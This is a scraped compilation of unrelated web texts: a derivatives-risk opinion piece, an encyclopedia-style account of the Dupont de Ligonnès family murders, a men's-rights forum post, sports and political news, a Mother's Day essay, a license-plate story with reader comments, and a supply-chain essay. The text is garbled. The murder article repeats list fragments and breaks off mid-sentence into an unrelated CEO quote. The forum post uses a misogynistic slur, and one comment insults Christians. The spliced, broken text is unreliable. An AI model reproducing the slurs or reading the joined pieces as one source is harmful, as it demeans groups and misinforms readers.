Derivatives played a crucial role in bringing down the global economy, so you would think that the world's top policymakers would have reined these things in by now – but they haven't.
Instead of attacking the problem, regulators have let it spiral out of control, and the result is a $600 trillion time bomb called the derivatives market.
Think I'm exaggerating?
The notional value of the world's derivatives actually is estimated at more than $600 trillion. Notional value, of course, is the total value of a leveraged position's assets. This distinction is necessary because when you're talking about leveraged assets like options and derivatives, a little bit of money can control a disproportionately large position that may be as much as 5, 10, 30, or, in extreme cases, 100 times greater than investments that could be funded only in cash instruments.
The
world's gross domestic product (GDP) is only about $65 trillion, or roughly 10.83% of the worldwide value of the global derivatives market, according to The Economist. So there is literally not enough money on the planet to backstop the banks trading these things if they run into trouble.
Compounding the problem is the fact that nobody even knows if the $600 trillion figure is accurate, because specialized derivatives vehicles like the credit default swaps that are now roiling Europe remain largely unregulated and unaccounted for.
Tick…Tick…Tick
To be fair, the Bank for International Settlements (BIS) estimated the net notional value of uncollateralized derivatives risks is between $2 trillion and $8 trillion, which is still a staggering amount of money and well beyond the billions being talked about in Europe.
Imagine the fallout from a $600 trillion explosion if several banks went down at once. It would eclipse the collapse of Lehman Brothers in no uncertain terms.
A governmental default would panic already anxious investors, causing a run on several major European banks in an effort to recover their deposits. That would, in turn, cause several banks to literally run out of money and declare bankruptcy.
Short-term borrowing costs would skyrocket and liquidity would evaporate. That would cause a ricochet across the Atlantic as the institutions themselves then panic and try to recover their own capital by withdrawing liquidity by any means possible.
And that's why banks are hoarding cash instead of lending it.
The major banks know there is no way they can collateralize the potential daisy chain failure that Greece represents. So they're doing everything they can to stockpile cash and keep their trading under wraps and away from public scrutiny.
What really scares me, though, is that the banks
think this is an acceptable risk because the odds of a default are allegedly smaller than one in 10,000.
But haven't we heard that before?
Although American banks have limited their exposure to Greece, they have loaned hundreds of billions of dollars to European banks and European governments that may not be capable of paying them back.
According to the Bank of International Settlements, U.S. banks have loaned only $60.5 billion to banks in Greece, Ireland, Portugal, Spain and Italy – the countries most at risk of default. But they've lent $275.8 billion to French and German banks.
And undoubtedly bet trillions on the same debt.
There are three key takeaways here:
There is not enough capital on hand to cover the possible losses associated with the default of a single counterparty – JPMorgan Chase & Co. (NYSE: JPM), BNP Paribas SA (PINK: BNPQY) or the National Bank of Greece (NYSE ADR: NBG) for example – let alone multiple failures.
That means banks with large derivatives exposure have to risk even more money to generate the incremental returns needed to cover the bets they've already made.
And the fact that Wall Street believes it has the risks under control practically guarantees that it doesn't.
Seems to me that the world's central bankers and politicians should be less concerned about stimulating "demand" and more concerned about fixing derivatives before this $600 trillion time bomb goes off.
News and Related Story Links :The Dupont de Ligonnès murders and disappearance involved the murder of five members of the same family in Nantes, in the département of Loire-Atlantique in north-western France, followed by the disappearance of the father of the family. Agnès Dupont de Ligonnès and her four children were murdered in early April 2011. Their bodies were found on 21 April 2011 at their home in Nantes. The father, Xavier Dupont de Ligonnès, disappeared at the same time and is considered the prime suspect in their murders. He is the subject of an international arrest warrant.
The family [ edit ]
The Dupont de Ligonnès family is an old French aristocratic family originally from Annonay,[1] in the Vivarais region in south-eastern France. Family members include Édouard du Pont de Ligonnès (1797-1877), who married Sophie de Lamartine, sister of the poet Alphonse de Lamartine and whose youngest son, Charles du Pont de Ligonnès, became the Bishop of Rodez.
In 2011, Xavier and Agnès lived at 55 boulevard Robert-Schuman in Nantes,[2][3][4] in a modest house in the western suburbs of the city.
The parents [ edit ]
Xavier, the father [ edit ]
Xavier Pierre Marie Dupont de Ligonnès (born 9 January 1961 in Versailles) the son of Bernard-Hubert Dupont de Ligonnès (7 November 1931 - 20 January 2011). Xavier's father was an engineer with a degree from the École nationale supérieure de mécanique et d'aérotechnique in Poitiers, and his mother was Geneviève Thérèse Maître.[1][5] Xavier's professional activities were very vague, but he is described as a salesman by a source close to the inquiry.[6] He created several businesses, with limited success:
SELREF, a company with a secretive and ambiguously defined purpose, based in Pornic, where he was employed as a manager. The company's 2006 accounts, accessible through a public commercial website, only show the bare minimum information, and the last data pertaining to the company was filed with the French Register of Commerce on 24 February 2004. [6] He hired six salespeople in 2003 and released them all shortly after. [7]
, a company with a secretive and ambiguously defined purpose, based in Pornic, where he was employed as a manager. The company's 2006 accounts, accessible through a public commercial website, only show the bare minimum information, and the last data pertaining to the company was filed with the French Register of Commerce on 24 February 2004. He hired six salespeople in 2003 and released them all shortly after. The Route des Commerciaux ("Salesmen's Road", registered at the same address as SELREF [6] ), a hotel and restaurant guide for travelling salesmen; [8]
("Salesmen's Road", registered at the same address as SELREF ), a hotel and restaurant guide for travelling salesmen; Carte Crystal ("Crystal Card", registered at the family's home address on boulevard Robert-Schuman [6] ), a "project for creating a loyalty system for restaurant guests"; [9] and
("Crystal Card", registered at the family's home address on boulevard Robert-Schuman ), a "project for creating a loyalty system for restaurant guests"; and Federation française de commerciaux ("Federation of French Salesmen", also registered at the family's home address and whose incorporating documents were filed in April 2004) had a stated purpose of "centralising necessary information for business education professionals, regardless of their status".[6][10]
The authorities consider him the main witness and the prime suspect in the murder of his wife and four children. After their bodies were discovered buried in the garden of the family home, the police set about searching for him, but he has never been found. According to the prosecutor, Xavier Dupont de Ligonnès's relatives say he wrote a letter to them explaining that he and his family would be absent as "he was a sort of United States secret agent and had to return to the U.S. as part of a witness protection programme to work on a drugs case."[6]
Agnès, the mother [ edit ]
Agnès Hodanger was born on 9 November 1962 in Neuilly-sur-Seine in the suburbs of Paris. She was an assistant at Blanche-de-Castille Catholic School in Nantes, where part of her duties involved teaching catechism. She was described as being very religious,[11] regularly attending mass with her children. Parishioners described her as being kind but strict with her children.[12] She was 48 years old at the time of her death.
In 2004, seven years before the murder, she wrote prolifically on the French online medical forum Doctissimo.[13][14] Agnès described the difficulties faced by her and her husband and stated that her husband had commented to her that a group death as a family would not be a catastrophe.[15]
The children [ edit ]
Arthur [ edit ]
Arthur Nicolas Dupont de Ligonnès was born on 7 July 1990 to another father, but was recognised by Xavier Dupont de Ligonnès as being his son when he married Agnès when Arthur was two years old.[16] He gained a baccaleuréat in Science, Industrial Technology and Sustainable Development at the age of 20.[17] He was studying for a technical diploma in IT at the Saint-Gabriel private college in Saint-Laurent-sur-Sèvre in the Vendée department, an hour's drive from Nantes.[18] He was also employed as a waiter at a pizzeria in Nantes. He was 20 years old at the time of his death.
Thomas [ edit ]
Thomas Dupont de Ligonnès was born on 28 August 1992 in Draguignan, in the south of France. He gained a baccalauréat in Literature when he was 17.[17] He was passionate about music and studied it at the Catholic University of the West in Angers. He lived in the Saint-Aubin hall of residence and was described as an "ordinary boy who was often accompanied by his family to drop him off and pick him up",[19] while several of his classmates remember him as "very discreet".[20] He was 18 years old at the time of his death.
Anne [ edit ]
Anne Dupont de Ligonnès was born on 2 August 1994 in Draguignan. She was in the 11th grade following an academic curriculum in Science, and was described by her friends and relatives as a girl who shared her mother's religious beliefs and was considerate and approachable.[11] Her friends became concerned when she was regularly offline and did not answer calls. Anne was 16 years old at the time of her death.
Benoît [ edit ]
Benoît Dupont de Ligonnès was born on 29 May 1997, Xavier and Agnès's youngest child. According to his friends and secondary-school classmates, he was popular and many girls fancied him. He was an altar server at Saint-Félix Church in Nantes. He was 13 years old at the time of his death.
Timeline of events [ edit ]
The family's final actions [ edit ]
The lease on the house had been terminated. [21]
All bank accounts had been closed. [22]
The children's school received a final payment settlement. [23]
Agnès's employer was informed that she was suffering from gastroenteritis and then that she was moving to Australia. [24]
A message was placed on their letter box: "Please return all mail to sender. Thank you." [21]
The house had been completely emptied.[25]
March 2011 [ edit ]
Rifle bullets were purchased on 12 March. [26]
Xavier registered at the Charles Des Jamonières shooting range to the north of Nantes, where he visited four times between 26 March and 1 April. [4] He obtained his firearms licence on 2 February 2011. Thomas and Benoît had also started to learn how to shoot, while Arthur was scheduled to start. [27]
He obtained his firearms licence on 2 February 2011. Thomas and Benoît had also started to learn how to shoot, while Arthur was scheduled to start. A sales receipt from a DIY store in Saint-Maur (in the Indre département in central France, approximately 320 kilometres (200 miles) from Nantes, a 3.5-hour drive away) was found at the family home. It was dated to a Wednesday at the end of March – either the 23rd or the 30th – and listed several purchases, including a roll of large bin liners and a box of adhesive plastic paving slabs.
April 2011 [ edit ]
Friday 1 April [ edit ]
Arthur, the oldest child, leaves the college where he was studying and does not turn up at the pizzeria where he worked and where he was due to go to pick up his monthly wages. His boss is surprised by this, stating that Arthur always came to collect his wages on the first day of the month. [28]
Xavier Dupont de Ligonnès buys cement, a shovel and a hoe.
Saturday 2 April [ edit ]
Xavier buys four bags of lime, 10 kg each, from different shops in the Nantes area.[29]
Sunday 3 April [ edit ]
A neighbour, Fabrice, sees Agnès for the last time. Shortly after, he sees Xavier "putting large bags into his car", a Citroën C5. [30]
The couple and three of the children dine in a restaurant in Nantes, [31] then go to the cinema.
then go to the cinema. At 10.37 pm, Xavier leaves a message on his sister Christine's answerphone: "we spent our Sunday evening in the cinema together, then in a restaurant, and we've just got back – I'm just calling to ask if it's too late to speak to you on the phone and now I see it's gone to voicemail. But... I was surprised, you spoke to me about Bertram, who's getting ready for his flight!? Huh?! But... I thought he'd only just arrived!... So I was a bit surprised. Anyway, sending you my love... If it's not too late, call me back or send me a text and I'll call you. OK, I'm going to put the kids to bed, say hi to everyone. See you soon!... Maybe...".[32]
Monday 4 April [ edit ]
Anne and Benoît do not turn up at their school, La Perverie-Sacré-Cœur, "due to illness". [30] [33] Anne's and Benoît's friends become concerned when they are unable to reach them. [30] They remember a rumour about the family leaving for Australia where their father had been given a job transfer, and they find it suspicious that their friends hadn't told them about this "departure". They attempt to contact Benoît and Anne online and by text. [34]
, "due to illness". Anne's and Benoît's friends become concerned when they are unable to reach them. They remember a rumour about the family leaving for Australia where their father had |
play, we look forward to creating even more opportunities for our fans to express their creativity and imagination.
– David Baszucki, Founder and CEOYesterday I was in the hospital ER with my kid (nothing special).
I noticed a poster for the domestic violence victims. It portrayed an old women and a phone number, it said “We can be your voice, report domestic violence”.
The thing is, I live in a very small place with a somewhat delayed social environment, just about a decade behind the rest of the Western world.
So, imagine my surprise when I see some handwriting in the poster saying: where are the men?
So, even here, men are waking up to the double standards and gymnocentric propaganda.
Where I work most men are divorced, and many don’t want to marry anymore.
I have a coworker that recently divorced his abusive wife. He was such a mangina that I predicted his divorce a long time ago.
But the interesting part is the difference of his behavior at work. He went from a very competent worker to an irresponsible one, because he was always pandering to his wife complains. He used to trade work shifts because he could only work at certain hours…
After divorce he is again one of the most competent men we have. He is doing a great job, even putting some of his off-work time at it.
Someone here said it: Women, you cant live with them!With poor poll percentages and even worse fundraising numbers, there’s no denying that these days Jon Huntsman could use a little public relations pick-me-up.
On Monday, the former governor swapped out the New Hampshire house party circuit for Comedy Central’s “The Colbert Report” in an effort to obtain the popularity propellant that is “The Colbert bump.”
“I like you,” host Stephen Colbert said to Huntsman. “I like the cut of your jib. I don’t know what a jib is but I like the way you cut it.”
“In recent polls you are at two percent. Are you ready for the Colbert bump?” Colbert asked.
“I am so ready for the Colbert bump,” Huntsman answered.
Colbert continued, “Governor you may be at two percent. We’re going to get you up to whole milk.”
Huntsman’s appearance on the show allowed him to reach out to Colbert’s key 18-49 demographic, discussing his experience in politics and the private sector to an entirely new audience. However, it was a joke Huntsman made about China, the country where he served as ambassador for two years, that caused the crowd to groan.
When Colbert played a sound effect of a stereotypical Chinese riff, Huntsman joked, “When’s the delivery food coming?” After a few seconds of awkward silence, Colbert replied, “Did that go over well in Beijing?” This portion of the interview was cut for time from the broadcast.
“There was a gasp,” audience member Dana Cole told ABC News. “A little tasteless. No one really saw it coming. He got ahead of himself. ”
“I think he was just really nervous honestly,” said Zach Zirlin, who was also in the crowd. “He was just trying to humanize himself a little bit … I think he brings a very fresh face to the Republican Party. All the past candidates were not easy to relate to and he seems more human than the rest.”
Huntsman quickly won back the group again after Colbert asked him to say something in Mandarin.
“I just said I’d think you ought to consider being my running mate for vice president,” Huntsman said as the crowd erupted into applause.
Colbert then asked Huntsman about comments made by Pastor Robert Jeffress, the Rick Perry event speaker who referred to Mormonism as a cult.
“There’s been a lot of ugly talk in the campaign lately about the faith that you and Mitt Romney share — Mormonism,” Colbert said. “What do you make of people calling Mormonism a cult? And by the way, I’m a Catholic, You’re a Mormon. Let’s not argue over who’s right and who is not a Catholic.”
“Well first of all you get in a whole lot of trouble talking about religion so you should never go there, particularly when you’re seeking votes and you’re running for public office,” Huntsman replied. “But let me say when John F. Kennedy ran in 1960, what were people calling Catholicism? A cult. So they come out they become more mainstream, John F. Kennedy wins and the religion goes mainstream. It’s probably the same thing with Mormonism. It will become more mainstream overtime as people kind of look at it and understand it a bit better.”
“We feel very excited about ‘The Colbert bump’,” Huntsman’s spokesman Tim Miller told ABC News before the former governor’s appearance. “The show should be fun for everyone involved and Governor Huntsman is excited at the prospect of getting into the nitty gritty of his tax reform proposal with Stephen.”
Colbert first coined his “Colbert bump” neologism to reference the success that several politicians found after being interviewed on his show. While no evidence directly links Colbert’s Midas touch with improved election results, Professor James H. Fowler of the University of California, San Diego found that an appearance on “The Colbert Report” may in fact bolster fundraising efforts for certain politicians.
Professor Fowler explained his 2008 research methodology to ABC News: “In this article I use “facts” (sorry, Stephen) provided by the Federal Election Commission to create a matched control group of candidates who have never appeared on The Colbert Report. I then compare the personal campaign donations they receive to those received by candidates who have appeared on the program’s segment ‘Better Know a District.’
“The results show that Democratic candidates who appear on the Report receive a statistically significant ‘Colbert bump’ in campaign donations, raising 44 percent more money in a 30-day period after appearing on the show. However, there is no evidence of a similar boost for Republicans. These results constitute the first scientific evidence of Stephen Colbert’s influence on political campaigns,” Fowler said.
Regardless of whether or not Huntsman’s interview translates into increased campaign fundraising, the former governor can certainly benefit from some screen time. Earlier this month, Huntsman passed on the opportunity to appear at CNN’s Western Leadership Presidential Debate in Las Vegas to boycott an early Nevada caucus.
According to Nielsen ratings, the debate earned 5.5 million total viewers, whereas Colbert averages around 1.5 million viewers a night.San Bernardino, Calif., officials have confirmed that the two rifles used by gunman Syed Rizwan Farook in Wednesday's massacre were purchased not by Farook himself, but rather by a friend. This means that at some point the rifles were either sold, stolen or given to Farook by his friend, sometime within the last three or four years.
According to California's firearms laws, it is "illegal for any person who is not a California licensed firearms dealer (private party) to sell or transfer a firearm to another non-licensed person (private party)." The prohibition on transfers - except those between family members- that do not involve a licensed gun deal Went into effect on January 1, 2011.
This means that unless, Farook's friend was an authorized weapons dealer in the state of California or the transfer occurred in another state, then the rifles were acquired illegally.Barcelona held third-tier Villanovense
Treble winners Barcelona underwhelmed as they struggled to a 0-0 draw at third-tier Villanovense in the first leg of their Copa del Rey last-32 tie.
Youthful-looking Barca, without regular forwards Neymar and Luis Suarez, only managed three efforts on target.
The second leg of the tie is at the Nou Camp on 2 December.
Villanovense, who had eight efforts on goal, went close through Javi Sanchez, whose header came off the bar.
Spanish forward Munir El Haddadi should have scored for Barca but fired wide from close range, while defender Marc Bartra had a header from a corner tipped over by keeper Jose Antonio Fuentes.
Barcelona keeper Jordi Masip said: “The most important thing is that we didn’t give up any goals.
The Catalan club won La Liga, the Copa del Rey and the Champions League last season.You don’t have to give birth to a child to be a mother. Plenty of women who cannot have kids are excellent mothers. They exude love and kindness and that motherly charm for friends, family, coworkers and even complete strangers. If one of these women adopt, they provide a warm, secure home.
But there also exist many women who do give birth to children who fall short of proper motherhood. Mother’s Day to some of us who didn’t have a very caring mother, can feel torn when the holiday rolls around.
To be a good mother, it requires much more than simply giving birth. You can be a biological parent and not actually be present or have the necessary skills to raise a child. Because, being a parent is hard work not just physically but mentally. Many people are physically able, but not mentally capable. Despite shortcomings, we do the best that we can even if our own parents disappointed us. And it isn’t until we are parents ourselves do we understand the challenges they faced. Parenting comes with an enormous amount of responsibility; you are in charge of another human life. Sometimes you feel guilty for not doing enough, because we want to be perfect. But, none of us are, of course.
Even if you had a challenging childhood, you can still choose how you live as an adult. If you don’t have a mother around anymore or you have one that didn’t give you what you needed as a child, then you can find it in yourself to give that nurture and support to yourself. If you do have a mother in your life, even if she wasn’t so perfect, then know that she likely did the best that she could at the time. It’s all any of us can do and none of us are without flaws.
Being a mother is a humbling experience and it’s the best challenge I’ve ever encountered in my life. I’ve learned a lot about selflessness and putting my daughter first. It’s an awesome responsibility to know that what you do or don’t do can affect this little human into their adulthood. You can be responsible for idiosyncrasies, hang-ups, obsessions, discipline or lack there of. In our hands as parents is the task to be a role model for our children, to set an example and lead by our action. One thing I know for certain is that the cliché “parenting doesn’t come with a handbook” is true. However, there are plenty of great books and resources out there that do help.
There are parenting classes we can take and experts that can help guide us. But, in the end, what kids need, and I’ve learned this from experience, is consistency. I didn’t have consistency in my home growing up and I have had a difficult childhood. This is putting it mildly. So, I decided to be a different parent. I decided to stop the negative cycle and I have. I also decided to give back. For 7 years I worked with abused kids who lived in group homes while going to film school at night. I was also a youth mentor for behaviorally challenged children and worked with a team of psychologists, social workers, and therapists. I learned a lot from those kids and learned a lot working in the nonprofit sector. I often worked 2 jobs and graveyard shifts to pay for school all on my own.
What I learned is that no matter how bad a parent is…kids still yearn to be with their parent(s). Inside, they have that yearning in their soul to have that unconditional love, that consistency of care. But, not everyone, as I learned, grew up with the best role models or examples of loving relationships. Still, we can choose to overwrite any toxic cycle that has been passed from generation to generation. We can choose to be the best example for our children.
If you do anything, show with your actions and not with your words what unconditional love is.
If there was one rule in motherhood, I’d say it would be to demonstrate your love by what you do and not just what you say because words come and go. From my former days working with group home kids and from personal experience, I can say that kids don’t forget. They’ll hold you to your words. As the saying goes, “talk is cheap.” Provide your child with a stable, loving home one without toxic strife and one without abuse or violence. This might sound like a given, but you’ll be surprised how many homes do have chaos. Parenting requires patience, discipline, and a sound mind. Most of all, it requires quality time spent with your children and ridding yourself of selfish tendencies.
I work full-time now, like many of you and many homes these days have 2 parents that work full-time. It’s not so much the quantity, as it is the quality. As long as you do what you say and lead by your actions, not merely your words, as long as you provide consistency and healthy boundaries with your children, then you set the stage for success. The child knows where you stand, they know that you mean what you say and they know the rules of the home. It doesn’t take much to lead children astray, but it doesn’t take much to turn a broken home into one that is fused with love.
The Bottom Line:
May you heal from your childhood if you had a terrible one. Every situation is different, so only you know where you stand with family. I like to say that there’s an exception to every rule…usually.
May you find gratitude if you had a wonderful upbringing. And may you forgive your parents for their imperfections, knowing Mom and Dad did the best they could at the time. And if they didn’t, or you still hold a grudge for past transgressions, let it go. Let it go in love. And on Sunday, if you can, tell your mother how much you appreciate her.
AdvertisementsA particularly credible rumour has surfaced, claiming that Canadian studio United Front Games, best known for Sleeping Dogs, its online spin-off Triad Wars and recently released MOBA Smash + Grab has closed.
There's no official word from United Front Game, but looking at Smash + Grab's Steam page reveals the game is no longer for sale, after only releasing this month on Steam. The game was available for free last weekend, which suggests that if there was a closure, it was relatively unexpected, and could be related to the implosion of Triad Wars, or to poor sales of Smash + Grab, which according to Steam Spy has sold 50,000 copies to date.
This comes with the caveat I always roll out when I link to Steam Spy, is that it may not be accurate and, well, 50,000 might well be a rip-roaring success for the studio. We won't know more until an official statement is made.
The rumour started on NeoGaf, although was given some weight when Jen Timm, a producer at United Front games, tweeted "Currently mourning the best job I've ever had, and the most wonderful team I've ever worked with. The end of a great era. Goodbye, UFG."
I'll keep an eye on the story throughout the day, and if a statement is made, I'll link to it here.Florida Set To Approve Christianity-Promoting License Plate Posted by Pile (7559 views) [E-Mail link]
Florida lawmakers may approve a new license that includes a cross and the words "I Believe."
Even though Florida now has more than 100 specialized license tags, the Republican-controlled Legislature may soon add one more: a colorful license plate that features the words ''I Believe'' set among a resplendent sunrise and the image of a cross in front of stained-glass window.
Florida already has tags that feature manatees, the Challenger space shuttle, panthers, and football teams. In 1999, lawmakers approved a controversial ''Choose Life'' tag that was seen by some critics as promoting a religious anti-abortion message and was initially challenged in the courts.
Republicans now think it's time to give something to motorists who care about their faith, not their favorite football team.
''They may not be into the manatee, they may not be into Challenger,'' Bullard said. ``That segment, which is a large segment of the population, can now get a tag that they like and can express their beliefs.''
Sen. Mike Fasano, a New Port Richey Republican who is sponsoring a measure that would create four different plates -- including the ''I Believe'' tag as well as a lighthouse tag and a ''In God We Trust'' plate -- said he saw no problem with letting motorists decide if they want to pay the extra $25 to buy a special tag.
''That's that the option of every driver who owns a vehicle,'' Fasano said. ``They can decide if they want to have a license plate with a cross in front of a stained-glass window. It's not different from choosing a Choose Life license plate or a manatee license pate or a Florida State University or University of Florida license plate.''
Howard Simon, executive director of the ACLU of Florida, said the possibility of a state-sanctioned tag with a cross should prompt to Florida lawmakers to rethink the whole ''crazy'' system of license plates.
'Maybe at this point the Legislature should begin rethinking whether a message on a state-manufactured plate, whether `I support panthers' or 'I'm a Christian,' might be better on a bumper sticker,'' Simon said.
Those who propose a specialty license tag in Florida must pay a $60,000 fee and conduct a survey that would show that people want to buy the tag. The organization backing the ''I Believe'' license plate turned in a survey that state officials have questioned. The bills now moving in the House and Senate, however, would require organizers to resubmit a new survey before the state will start selling the tags.
The extra money earned from the sale of the ''I Believe'' license plate would go to an Orlando based nonprofit called Faith in Teaching that says on its website that money from the plates would be used for grants to ''continue faith-based education for the youth of Florida.'' The group did not return a call seeking comment.
Simon, however, questioned the idea of having the state collect money that could wind up in the hands of churches.
''I don't think the state should be a collection agency,'' Simon said.
Posted by gmaduck on 2008-04-24 17:44:43 Can I have equal rights? I want a plate that says "I don't believe in fairy tales." Maybe it can have a picture of my "god," the flying spaghetti monster I AM SURE YOU CAN GMADUCK
Posted by littlelisalynnagain on 2008-04-29 06:43:52 yes, I am sure you can have equal rights, even if they display your ignorance and sarcasim.... sovereign
Posted by sovereignjohn on 2008-04-29 11:49:01 I live in Indiana and Indiana offers a license plate that reads: In God We Trust. This is a great license plate cause I took digital pictures of these hypocrites as they went speeding pass me on the highway at 20mph over the speed limit. Laws, what laws? Christians are assholes and you can prove it by watching them break the law on the highway and as they pull out in front of you, and give you the finger as they read your peace bumper sticker.
Worship Satan No Longer?
Welcome Atheist! Posted by jimbob on 2008-05-03 09:31:31 This is a great idea, can't wait to order my plate! It may bring more unbelievers into the fold! Praise God. pyrates
Posted by Elise on 2008-05-20 12:21:03 the Church of the Flying Spaghetti Monster is retaliating. we will be demanding FSM license plates. Name: (change name for anonymous posting) Title: Comments: 1 Article displayed.Production of the food that we eat and the products that we buy has been globalised at a staggering pace. In an age of transparency and instant access to information, why then do we know so little about the factories and farms that make the things that we consume?
A central facet of our contemporary global economy is the fact that consumers are usually only able to see commodities in the here and now of time and space, and rarely have any opportunities to gaze backwards through chains of production in order to see how a commodity was made.
This detachment of material goods from information about the production of those goods allows many multinational companies to conceal production practices that are harmful to workers or the environment behind veils of distance. We don't have to look far to see the many ways in which companies adorn their products with images and narratives of smiling workers, harmonious communities, and healthy natural environments. But we are rarely able to know how reflective those narratives are of on-the-ground realities.
There are isolated cases in which the media have performed a spectacular job in deconstructing corporate narratives and bringing issues like child labour and poor environmental management to much of the world's attention. Companies like Shell, Apple and Gap have been forced into altering their production practices by such exposés.
However, there are limits to this kind investigative journalism. Stories about child labor in clothing factories sells papers. But less sensational stories about irresponsible corporate practices related to the more mundane everyday objects that we surround ourselves with are less likely to garner attention.
We therefore need to ask what the global economy would look like if information about the production of commodities could be reattached to material objects. Would an increase in transparency change how consumers act? And more importantly, would a lack of opacity in production chains make companies less likely to engage in distasteful or unethical practices?
These questions are more than just a hypothetical construct. A combination of smartphones, fast mobile networks, an explosion in user-generated content and the fact that almost 30% of the world is now online offers the possibility for a new kind of globalisation: a globalisation of information that would theoretically allow consumers to learn more about the things that they buy. In other words, it might now be possible to begin constructing an Internet-based framework that would allow user-generated content to be shared about any node on any conceivable production chain.
It isn't difficult to imagine a multilingual, mobile-accessible framework that would allow anyone to submit information about wages, pollution, corruption, animal welfare and any number of other topics. In fact, there are already a handful of projects that aim to do exactly this.
Howstuffismade.org, for instance, is a compelling visual encyclopaedia of the production processes of everyday goods. Ethiscore.org, a project run by the group behind the Ethical Consumer magazine, is similarly designed to rank companies based on a range of criteria that can be customised to each person's ethical, political and environmental preferences. A more open and user-generated approach is being attempted by the charity Wikichains.com (a project that I currently manage). The site uses a wiki-framework to allow anyone to submit content that exposes distasteful production practices of any commodity or product.
But will this kind of information-driven consumer activism work? Will new technologies and technological practices be enough to effect both social and economic change?
There are certainly potential problems. First, there is the issue of reliability. Open platforms invite distorted representations from both corporate sources and overzealous consumer activists. However, the experiences of Wikipedia and other projects that rely on user-generated content demonstrate that a combination of detailed guidelines and active communities can eliminate a lot of inaccurate content.
A second issue relates to the fact that there are always distinct geographies of user-generated content. Research has shown that your typical creator of content is most likely to be a young white male in a wealthy country. Hardly your typical farm or factory worker embedded in a global production network. The information shadows of objects will thus always be densest in the most highly networked parts of the world.
These issues don't mean that user-generated content does not offer significant opportunities for information about the chains of commodities to transcend barriers of time and space. There is now the potential for a democratisation of spotlight effects that were formerly offered by a much smaller set of infomediaries.
What this all means is that reattaching information to material goods as they traverse our planet can bring about a new kind of globalisation. Consumers could make more informed economic decisions and be more aware of their economic, social, political and environmental impacts. Producers could have a powerful platform to speak out against human and environmental exploitation. And most importantly, an increasing amount of international trade could be driven by understanding and compassion rather than branding and exploitation.
Mark Graham is a Research Fellow at the Oxford Internet Institute and manages the Wikichains.com project. He blogs at ZeroGeography.Manama: Kuwaitis have called for stringent action against a family in Yemen after their eight-year-old daughter died of internal injuries on the first night of her arranged marriage to a man more than five times her age.
Rawan died in city of Hardh in the Governorate of Hajjah in northwestern Yemen, Kuwaiti daily Al Watan reported on Sunday, quoting Yemeni media.
She is believed to have suffered a tear to her genitals and severe bleeding.
Yemeni activists urged the local police to arrest the “beastly groom” and the girl’s family and transfer them to a court where justice would be served and the case would be used to help put an end to the practice of marrying very young girls in the impoverished country, the daily said.
In Kuwait, bloggers offered their prayers for the “bride”, but lashed out at the “groom”, saying that he was a beast who should be severely punished.
Angry Man, a blogger, posted that the man was “an animal who deserved to be punished severely for his crime.”
“All those who supported such a crime should also be punished,” he said.
Under the moniker “Sad”, another blogger said that everybody should have realised that Rawan was too young to get married.
“Her family and her groom could have waited for some time before having this marriage,” Sad said. “It was not fair at all and the marriage should not have happened even if some tribes believe that it is a good custom.”
Bu Omar said that he was disturbed by the death report.
“Rawan’s family members are not humans. They do not deserve to have children,” he said.There's good news and bad news for Paxton Lynch.
The good news is the second-year Broncos quarterback has started throwing. The bad: He hasn't necessarily avoided the prospect of surgery.
“I can’t say. I’m a football coach. I can’t say," coach Vance Joseph said Thursday.
Lynch threw 15 passes on Wednesday, his first on-field work since spraining his right shoulder in the team's preseason win over the Packers. It wasn't much, but it represented progress for the former first-round draft pick, who remains on the 53-man roster.
Still, his return to action isn't imminent, Joseph repeated for the third time in as many weeks.
“Paxton doesn’t have a timeline right now," he said. "I think he threw for the first time yesterday, and really short throws like five or seven yards. We don’t have a time frame for Paxton. Again, it’s a right shoulder injury and it’s his throwing shoulder. We want to be careful with that and make sure he’s right before he comes back.”
Under the knife or not, Lynch is a prime candidate to go on injured reserve in the coming week, freeing up a roster spot for linebacker Shane Ray or tight end Jake Butt, both of whom will resume practicing Monday.
Brock Osweiler is likely to finish out the season as Trevor Siemian's backup.– Here are some new highlights (via FOX Sports) from Daniel Bryan’s new book Yes! My Improbable Journey to the Main Event of Wrestlemania:
On a backstage blow-up he had with HHH after a match with Randy Orton was cut short due to an injury scare: “Usually I don’t get super angry, and when I do it’s barely visible. This time, I was furious and I let everyone know it. When I walked through the curtain, I yelled, ‘What the f— is that all about. That’s f—ing bull—-!’ ‘You need to calm down,’ responded Triple H, who had been communicating with the doctor over the headset and called for the match to be stopped. ‘No, you need to calm the f— down,’ I replied. We were up in each other’s faces and both ready to fight.”
On the first time he ever had sex with Brie Bella: “We were naked and about to do our thing when all of a sudden we heard the sound of the door handle turning and then the door popped open. Bri jumped under the covers as Teddy and Sheamus barged into the room, inebriated as can be, wit the ‘Ahhh fella!’ and all that.”
On nearly facing Charlie Sheen at SummerSlam 2012: “He was going through a very public breakdown at the time, and somehow WWE brokered a deal for him to perform against me. He taped a couple of videos for ‘Raw’ insulting me, and even though it was a goofy match to be in, it would’ve put me in one of the top matches at SummerSlam. Unfortunately, whoever brokered the Sheen deal never got him to sign any sort of contract to do the event, and in typical Charlie Sheen fashion, he bailed.”The former Reds defender was unimpressed by the broadcasting of the behind-the-scenes footage and argued that the club should focus on getting results right on the pitch
Former Liverpool defender Mark Lawrenson has slammed the behind-the-scenes television documentary that is currently being aired across the United Kingdom, insisting that legendary Reds manager Bill Shankly "would be turning in his grave".Being: Liverpool follows the club on their pre-season tour of North America in the lead-up to the 2012-13 Premier League season and has also been shown in the United States.Lawrenson, a five-time league champion on Merseyside, dismissed the programme as "American schmaltz" and believes that the club hierarchy should be focusing on improving results on the pitch."What on earth is Brendan Rodgers doing in this programme Being: Liverpool? I'm sorry, I just think this show comes across as American schmaltz," Lawrenson writes in his column for the Daily Mirror."It's totally ill-advised and some of the stuff that I have seen so far in the first three episodes is cringeworthy."I think everybody shares that point of view. The problem is, once you get American owners intent on doing it and intent on getting everyone involved it's extremely difficult."Well, at the moment the club isn't doing particularly well. The soundbites are great but it's plain for everyone to see that there is a lot wrong."The BBC 'Match of the Day' pundit claimed that famous former bosses such as Shankly, Bob Paisley and Joe Fagan would be shocked by the broadcasting of scenes such as one involving chief executive Ian Ayre."One other thing. The show I saw on Saturday ended up with Ian Ayre, the chief executive, jumping on his Harley Davison and riding through the city," Lawrenson added."Come on!! Shankly would be turning in his grave. So would Paisley and Fagan and all of those Liverpool legends."Boston prosecutors drop charges against Iranian national in wake of nuclear deal
Printed from: https://newbostonpost.com/2016/01/25/boston-prosecutors-drop-charges-against-iranian-national/
